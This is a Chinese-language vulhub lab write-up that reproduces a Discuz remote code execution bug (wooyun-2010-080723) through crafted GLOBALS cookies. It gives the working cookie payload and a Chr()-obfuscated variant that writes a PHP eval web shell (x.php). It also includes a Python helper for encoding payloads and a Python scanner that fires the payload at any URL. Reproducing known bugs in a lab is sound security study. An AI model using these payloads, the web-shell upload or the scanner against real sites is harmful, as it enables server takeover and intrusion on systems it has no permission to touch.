【vulhub】Discuz-命令执行 wooyun-2010-080723
docker-compose up-d
启动!
wooyun-2010-080723 命令执行
0x01 搭建环境
访问192.168.132.138:8080/install
,安装数据库。数据库服务器填写db(必须db,不然安装失败),数据库名为discuz,数据库账号密码均为root,管理员密码任意。填写联系方式页面直接点击跳过本步后跳转到首页
0x02 复现过程
官方poc是进入一个帖子中直接抓包,将cookie内容替换成Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
,发包后就能进入phpinfo页面完成命令执行
我们可以尝试继续构造其他函数进行其他的命令执行操作,比如可以上传一个shell
将cookie改为
Cookie:GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui;GLOBALS[_DCACHE][smilies][replacearray]=eval(Chr(102).Chr(112).Chr(117).Chr(116).Chr(115).Chr(40).Chr(102).Chr(111).Chr(112).Chr(101).Chr(110).Chr(40).Chr(39).Chr(120).Chr(46).Chr(112).Chr(104).Chr(112).Chr(39).Chr(44).Chr(39).Chr(119).Chr(39).Chr(41).Chr(44).Chr(39).Chr(60).Chr(63).Chr(112).Chr(104).Chr(112).Chr(32).Chr(64).Chr(101).Chr(118).Chr(97).Chr(108).Chr(40).Chr(36).Chr(95).Chr(80).Chr(79).Chr(83).Chr(84).Chr(91).Chr(112).Chr(119).Chr(100).Chr(93).Chr(41).Chr(63).Chr(62).Chr(39).Chr(41).Chr(59));
http://192.168.132.138:8080/x.php连接shell
成功连接,shell写入成功
上面的ascii码是转换回来是
fputs(fopen('x.php','w'),'<?php @eval($_POST[pwd])?>');
下面是一个ascii和文字相互转换的python脚本
import re
# ASCII = ord(Word)
# Word = chr(ASCII)# ASCII -> Word
def ASCII2word(ASCIIs):for c in re.findall(r"(\d+)", ASCIIs):print(chr(int(c)),end="")# Word -> ASCII
def word2ASCII(words):ASCIIs = ""for word in words:ASCIIs += "Chr(" + str(ord(word)) + ")."print(ASCIIs)asciis = "Chr(102).Chr(112).Chr(117).Chr(116).Chr(115).Chr(40).Chr(102).Chr(111).Chr(112).Chr(101).Chr(110).Chr(40).Chr(39).Chr(109).Chr(105).Chr(115).Chr(104).Chr(105).Chr(46).Chr(112).Chr(104).Chr(112).Chr(39).Chr(44).Chr(39).Chr(119).Chr(39).Chr(41).Chr(44).Chr(39).Chr(60).Chr(63).Chr(112).Chr(104).Chr(112).Chr(32).Chr(64).Chr(101).Chr(118).Chr(97).Chr(108).Chr(40).Chr(36).Chr(95).Chr(80).Chr(79).Chr(83).Chr(84).Chr(91).Chr(116).Chr(101).Chr(115).Chr(116).Chr(93).Chr(41).Chr(63).Chr(62).Chr(39).Chr(41).Chr(59)"
ASCII2word(asciis)words = "fputs(fopen('x.php','w'),'<?php @eval($_POST[pwd])?>');"
word2ASCII(words)
0x03 总结
- 由于php5.3.x版本里php.ini的设置里
request_order
默认值为GP,导致$_REQUEST
中不再包含$_COOKIE
,我们通过在Cookie中传入$GLOBALS
来覆盖全局变量,造成代码执行漏洞。 - PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞
0x04 检测POC
# coding:utf-8
# @File :discuz RCE poc.py
# @IDE :PyCharm
# @Author :打复活赛的牢泠
# @Blog :#import requests
import argparsedef argument():parser = argparse.ArgumentParser(description="usage:python3 demo.py -u [url]")parser.add_argument('-u', '--url', type=str, metavar='', required=True, help='Please input the vulnerable url')args = parser.parse_args()return argsdef poc():# 引入 argument() 函数args = argument()url = args.url# 设置 headersheaders = {'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ""Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0",'cookie': "GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();"}# 进行get请求res = requests.get(url, headers=headers, timeout=5)# 若get请求页面中存在PHP Version则存在漏洞if "PHP Version" not in res.text:print('[-] Not Vulnerable: ', url)else:print('[+]Vulnerable to Rce:', url)if __name__ == '__main__':poc()
检测成功会回显[+]Vulnerable to Rce 字样